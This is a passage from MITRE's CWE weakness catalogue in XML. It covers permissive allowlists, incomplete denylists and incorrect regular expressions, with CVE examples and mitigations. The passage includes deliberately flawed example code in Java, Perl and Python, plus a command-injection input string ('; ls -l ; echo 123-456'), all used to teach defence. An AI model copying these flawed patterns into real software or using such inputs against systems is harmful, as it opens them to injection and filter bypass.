            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Allowlist / Allow List</Term>
	       <Description>This is used by CWE and CAPEC instead of other commonly-used terms.  Its counterpart is denylist.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Safelist / Safe List</Term>
	       <Description>This is often used by security tools such as firewalls, email or web gateways, proxies, etc.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Whitelist / White List</Term>
	       <Description>This term is frequently used, but usage has been declining as organizations have started to adopt other terms.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2019-12799</Reference>
               <Description>chain: bypass of untrusted deserialization issue (CWE-502) by using an assumed-trusted class (CWE-183)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-12799</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2019-10458</Reference>
               <Description>sandbox bypass using a method that is on an allowlist</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-10458</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2017-1000095</Reference>
               <Description>sandbox bypass using unsafe methods that are on an allowlist</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-1000095</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2019-10458</Reference>
               <Description>CI/CD pipeline feature has unsafe elements in allowlist, allowing bypass of script restrictions</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-10458</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2017-1000095</Reference>
               <Description>Default allowlist includes unsafe methods, allowing bypass of sandbox</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-1000095</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Permissive Whitelist</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="120"/>
            <Related_Attack_Pattern CAPEC_ID="3"/>
            <Related_Attack_Pattern CAPEC_ID="43"/>
            <Related_Attack_Pattern CAPEC_ID="71"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;Eliminating Metacharacters&#34;, Page 435"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Description, Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
		<Previous_Entry_Name Date="2020-02-24">Permissive Whitelist</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="184" Name="Incomplete List of Disallowed Inputs" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete, leading to resultant weaknesses.</Description>
         <Extended_Description>Developers often try to protect their products against malicious input by performing tests against inputs that are known to be bad, such as special characters that can invoke new commands.  However, such lists often only account for the most well-known bad inputs. Attackers may be able to find other malicious inputs that were not expected by the developer, allowing them to bypass the intended protection mechanism.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="1023" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="79" View_ID="1000" Chain_ID="692"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="78" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="434" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="98" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Denylist / Deny List</Term>
	       <Description>This is used by CWE and CAPEC instead of other commonly-used terms.  Its counterpart is allowlist.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Blocklist / Block List</Term>
	       <Description>This is often used by security tools such as firewalls, email or web gateways, proxies, etc.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Blacklist / Black List</Term>
	       <Description>This term is frequently used, but usage has been declining as organizations have started to adopt other terms.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
	       <Note>Developers might begin to develop a list of bad inputs as a fast way to fix a particular weakness, instead of fixing the root cause. See [REF-141].</Note>
            </Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
	       <Note>The design might rely solely on detection of malicious inputs as a protection mechanism.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Black Box</Method>
               <Description>Exploitation of a vulnerability with commonly-used manipulations might fail, but minor variations might succeed.</Description>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Do not rely exclusively on detecting disallowed inputs.  There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants.  Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code attempts to stop XSS attacks by removing all occurences of "script" in an input string.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public String removeScriptTags(String input, String mask) {<xhtml:div style="margin-left:1em;">return input.replaceAll("script", mask);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Because the code only checks for the lower-case "script" string, it can be easily defeated with upper-case script tags.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2008-2309</Reference>
               <Description>product uses a denylist to identify potentially dangerous content, allowing attacker to bypass a warning</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2309</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2782</Reference>
               <Description>PHP remote file inclusion in web application that filters "http" and "https" URLs, but not "ftp".</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2782</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0542</Reference>
               <Description>Programming language does not filter certain shell metacharacters in Windows environment.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0542</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0595</Reference>
               <Description>XSS filter doesn't filter null characters before looking for dangerous tags, which are ignored by web browsers. MIE and validate-before-cleanse.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0595</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3287</Reference>
               <Description>Web-based mail product doesn't restrict dangerous extensions such as ASPX on a web server, even though others are prohibited.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3287</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2351</Reference>
               <Description>Resultant XSS when only &lt;script&gt; and &lt;style&gt; are checked.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2351</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2959</Reference>
               <Description>Privileged program does not clear sensitive environment variables that are used by bash. Overlaps multiple interpretation error.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2959</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1824</Reference>
               <Description>SQL injection protection scheme does not quote the "\" special character.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1824</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2184</Reference>
               <Description>Detection of risky filename extensions prevents users from automatically executing .EXE files, but .LNK is accepted, allowing resultant Windows symbolic link.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2184</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-1343</Reference>
               <Description>Product uses list of protected variables, but accidentally omits one dangerous variable, allowing external modification</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1343</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5727</Reference>
               <Description>Chain: product only removes SCRIPT tags (CWE-184), enabling XSS (CWE-79)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5727</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4308</Reference>
               <Description>Chain: product only checks for use of "javascript:" tag (CWE-184), allowing XSS (CWE-79) using other tags</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4308</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-3572</Reference>
               <Description>Chain: OS command injection (CWE-78) enabled by using an unexpected character that is not explicitly disallowed (CWE-184)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-3572</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0661</Reference>
               <Description>"\" not in list of disallowed values for web server, allowing path traversal attacks when the server is run on Windows and other OSes.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0661</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Incomplete Blacklist</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="120"/>
            <Related_Attack_Pattern CAPEC_ID="15"/>
            <Related_Attack_Pattern CAPEC_ID="182"/>
            <Related_Attack_Pattern CAPEC_ID="3"/>
            <Related_Attack_Pattern CAPEC_ID="43"/>
            <Related_Attack_Pattern CAPEC_ID="6"/>
            <Related_Attack_Pattern CAPEC_ID="71"/>
            <Related_Attack_Pattern CAPEC_ID="73"/>
            <Related_Attack_Pattern CAPEC_ID="85"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-140"/>
            <Reference External_Reference_ID="REF-141"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;Eliminating Metacharacters&#34;, Page 435"/>
         </References>
         <Notes>
            <Note Type="Relationship">
               <xhtml:p>Multiple interpretation errors can indirectly introduce inputs that should be disallowed. For example, a list of dangerous shell metacharacters might not include a metacharacter that only has meaning in one particular shell, not all of them; or a check for XSS manipulations might ignore an unusual construct that is supported by one web browser, but not others.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Relationship_Notes, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Description, Detection_Factors, Modes_of_Introduction, Name, Observed_Examples, Potential_Mitigations, Relationship_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Incomplete Blacklist</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="185" Name="Incorrect Regular Expression" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product specifies a regular expression in a way that causes data to be improperly matched or compared.</Description>
         <Extended_Description>When the regular expression is used in protection mechanisms such as filtering or validation, this may allow an attacker to bypass the intended restrictions on the incoming data.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="697" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="187" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="182" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Unexpected State</Impact>
               <Impact>Varies by Context</Impact>
               <Note>When the regular expression is not correctly specified, data might have a different format or type than the rest of the program expects, producing resultant weaknesses or errors.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>In PHP, regular expression checks can sometimes be bypassed with a null byte, leading to any number of weaknesses.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-45">
               <Phase>Architecture and Design</Phase>
               <Strategy>Refactoring</Strategy>
               <Description>Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject the regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor the regular expression.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-37">
               <Intro_Text>The following code takes phone numbers as input, and uses a regular expression to reject invalid phone numbers.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>$phone = GetPhoneNumber();<xhtml:br/>if ($phone =~ /\d+-\d+/) {<xhtml:div style="margin-left:1em;">
                        <xhtml:i># looks like it only has hyphens and digits</xhtml:i>
                        <xhtml:br/>system("lookup-phone $phone");</xhtml:div>}
				  <xhtml:br/>else {<xhtml:div style="margin-left:1em;">error("malformed number!");</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>An attacker could provide an argument such as: "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.</Body_Text>
            </Demonstrative_Example>
	    <Demonstrative_Example Demonstrative_Example_ID="DX-154">
	      <Intro_Text>This code uses a regular expression to validate an IP string prior to using it in a call to the "ping" command.</Intro_Text>
	      <Example_Code Nature="bad" Language="Python">
		<xhtml:div>
		  import subprocess<xhtml:br/>
		  import re<xhtml:br/>
		  <xhtml:br/>
		  def validate_ip_regex(ip: str):<xhtml:br/>
		  <xhtml:div style="margin-left:1em;">
		    ip_validator = re.compile(r"((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4}")<xhtml:br/>
		    if ip_validator.match(ip):<xhtml:br/>
		    <xhtml:div style="margin-left:1em;">
		      return ip<xhtml:br/>
		    </xhtml:div>
		    else:<xhtml:br/>
		    <xhtml:div style="margin-left:1em;">
		      raise ValueError("IP address does not match valid pattern.")<xhtml:br/>
		    </xhtml:div>
		  </xhtml:div>
		  <xhtml:br/>
		  def run_ping_regex(ip: str):<xhtml:br/>
		  <xhtml:div style="margin-left:1em;">
		    validated = validate_ip_regex(ip)<xhtml:br/>
		    <xhtml:i># The ping command treats zero-prepended IP addresses as octal</xhtml:i><xhtml:br/>
		    result = subprocess.call(["ping", validated])<xhtml:br/>
		    print(result)<xhtml:br/>
		  </xhtml:div>
		</xhtml:div>
	      </Example_Code>
	      <Body_Text>Since the regular expression does not have anchors (CWE-777), i.e. is unbounded without ^ or $ characters, then prepending a 0 or 0x to the beginning of the IP address will still result in a matched regex pattern. Since the ping command supports octal and hex prepended IP addresses, it will use the unexpectedly valid IP address (CWE-1389). For example, "0x63.63.63.63" would be considered equivalent to "99.63.63.63". As a result, the attacker could potentially ping systems that the attacker cannot reach directly.</Body_Text>
	    </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-2109</Reference>
               <Description>Regexp isn't "anchored" to the beginning or end, which allows spoofed values that have trusted values as substrings.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2109</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1949</Reference>
               <Description>Regexp for IP address isn't anchored at the end, allowing appending of shell metacharacters.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1949</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1072</Reference>
               <Description>Bypass access restrictions via multiple leading slash, which causes a regular expression to fail.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1072</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0115</Reference>
               <Description>Local user DoS via invalid regular expressions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0115</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1527</Reference>
               <Description>chain: Malformed input generates a regular expression error that leads to information exposure.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1527</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1061</Reference>
               <Description>Certain strings are later used in a regexp, leading to a resultant crash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1061</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2169</Reference>
               <Description>MFV. Regular expression intended to protect against directory traversal reduces ".../...//" to "../".</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2169</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0603</Reference>
               <Description>Malformed regexp syntax leads to information exposure in error message.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0603</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1820</Reference>
               <Description>Code injection due to improper quoting of regular expression.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1820</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3153</Reference>
               <Description>Null byte bypasses PHP regexp check.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3153</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-4155</Reference>
               <Description>Null byte bypasses PHP regexp check.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-4155</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Regular Expression Error</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="15"/>
            <Related_Attack_Pattern CAPEC_ID="6"/>
            <Related_Attack_Pattern CAPEC_ID="79"/>
